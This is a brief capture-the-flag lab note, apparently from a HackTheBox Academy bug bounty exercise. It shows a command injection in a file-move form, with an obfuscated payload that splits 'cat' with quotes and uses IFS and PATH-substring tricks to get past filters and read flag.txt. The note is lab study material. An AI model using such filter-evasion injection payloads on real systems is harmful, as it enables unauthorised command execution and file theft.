We can see the injection is in the move file   And in the section form we must to change for us payload: `%3bc'a't${IFS}${PATH:0:1}..${PATH:0:1}..${PATH:0:1}..${PATH: 0:1}..${PATH:0:1}flag.txt;`  https://academy.hackthebox.com/achievement/349590/109
Scanned 2/12/2026
Install via CLI
openskills install Anchovy317/CBBH# IP: 94.237.50.202:41866
# Auth: guest/guest
We can see the injection is in the move file


And in the section form we must to change for us payload:
`%3bc'a't${IFS}${PATH:0:1}..${PATH:0:1}..${PATH:0:1}..${PATH: 0:1}..${PATH:0:1}flag.txt;`

https://academy.hackthebox.com/achievement/349590/109
No comments yet. Be the first to comment!